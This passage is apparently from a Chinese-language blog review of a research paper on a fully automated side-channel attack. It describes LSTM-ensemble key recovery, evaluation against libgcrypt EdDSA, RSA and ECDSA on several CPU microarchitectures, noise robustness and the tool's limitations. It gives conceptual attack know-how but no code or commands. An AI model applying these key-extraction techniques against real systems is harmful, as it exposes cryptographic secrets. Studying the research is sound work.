但这里作者提到,由于考虑了时间序列问题,现在的算法的返回值是(time, secret),因此可以容易知道哪一位可能存在丢失或错误。因为丢失的时候,2个bit位之间会形成较大的时间间隙,而错误的时候,2个bit位之间会出现很窄的时间间隙。对于每一个可能出问题的bit位,一共只有3种情况,第一种是该位正常,忽略,第二种是该位丢失或错误应该改为0,第3种是该位丢失或错误,应该改为1。因此在密钥恢复错误的情况下,如果有n个位置错误,那么只需要进行3^n次爆破来恢复密钥。

考虑到上述原因,作者为了解决这一问题,使用了2个LSTM模型,在恢复密钥时,如果2个模型预测值相同,那么才会接受。

这两个模型,第一个是三层LSTM嵌套的模型,第二个模型是LSTM接一个激活函数RELU的全连接层*3的模型。这两个模型都用0.2的 dropout 来缓解过拟合问题 并且由于是个多分类任务,输出都用的softmax layer。然后它使用集成学习(Ensemble)的方式把两个模型组合在一起,以获得更好的效果。

这里的训练数据特征是延迟值,训练集的样本分为两类,一类是从程序已知的开始位置开始,另一类是从程序未知的开始位置开始。

0x04 实验评估

作者使用了libgcrypt 1.6.3和libgcrypt 1.8.5中的加密函数EdDSA 25519、EdDSA 25519-hardened、EdDSA 25519-secure (1.8.5 only)、RSA、ECDSA P-256作为攻击目标进行实现评估。值得注意的是,EdDSA 25519-hardened中已经对侧信道攻击有了基本的防御机制,而EdDSA 25519-secure对于侧信道的防御机制被认为是最先进的。

作者在4个不同的微架构上进行了测试,使用F1分数来评估工具的性能。

2020-08-11-11-09-52.png

这里值得注意的是,在ARM上,作者是人工编写的指令序列。这里原因是,对于ARM没有完整的leakage map,无法遍历测试。而另外3个x86微架构,作者测试了所有可能的指令,并使用了4条最好的指令序列。这也体现出,作者的工具要比人工编写指令序列性能高的多。

同时注意到红框部分,由于这一条表现的性能非常好,作者选用其进行测试,看其在信息不同步的情况下,对密钥的恢复能力如何。

2020-08-11-11-10-40.png

作者对这些目标在信息不同步的情况下,进行了7次测试。可以发现不基于GPG加密软件的情况下,正确恢复密钥的准确率在100%,而在GPG加密软件下有一定错误。原因是在无外部提示或者分析人员设置的情况下,密钥相关分支完全由工具自动的进行识别。

同时作者将自己工具优化生成的指令序列与其他工作人工构造的指令序列进行了性能比对。

2020-08-11-11-12-43.png

可以发现工具自动优化得到的指令序列,性能高于其他人工构造的指令序列。

同时从两个维度来验证工具的鲁棒性。首先是能否自动的找到我们感兴趣的分支,即密钥相关的内容。

这里作者选择在完全无侧信道防御的EdDSA 25519算法上进行了7次测试,可以发现在密钥相关程序开始时和其他时候有显著的差异。说明工具在我们感兴趣的区域预测密度显著较高,证明了工具的可靠性。

2020-08-11-11-12-52.png

第二个维度,作者从被干扰的情况下,测试工具的鲁棒性。这里作者使用usleep函数,来干扰cpu的执行时间,干扰量为0.1%~30.6%。

2020-08-11-11-13-33.png

这里我们可以发现2个点,第一点是即使目标程序存在噪音,密钥恢复的准确度都不会有太多变化,这是因为我们前面介绍过,密钥的恢复算法具有鲁棒性,可以抵御干扰。第二点是,我们的侧信道程序上如果出现噪音,则会受到影响,因为这涉及到了信号采集问题,如果信号不能准确采集,那么则无法进行密钥的恢复。

当然工具也有一些局限性。

首先工具要求目标软件会在加密运行时花费较长时间。同时密钥需要从文件系统中进行加载,否则无法进行自动污点分析。

第二点是工具需要目标微架构的指令集定义格式易于创建leakage map,才能使用工具的方法自动生成并优化指令序列。这一点在x86上比较容易获得,但是对于ARM还不行。

第三点是工具在后续的处理阶段,可以有更为自动化的方式,通过暴力破解启发式的方法来应用于各种程序。

0x05 后记

本篇文章第一个创建了在x86微架构上完整的leakage maps,并实现了一个全自动的侧信道攻击,其可以利用资源竞争的方式,对各种平台,各种环境上的加密程序来进行侧信道攻击。对于前人工作具有比较高的创新性,同时为后续侧信道攻击测试提供了便捷性。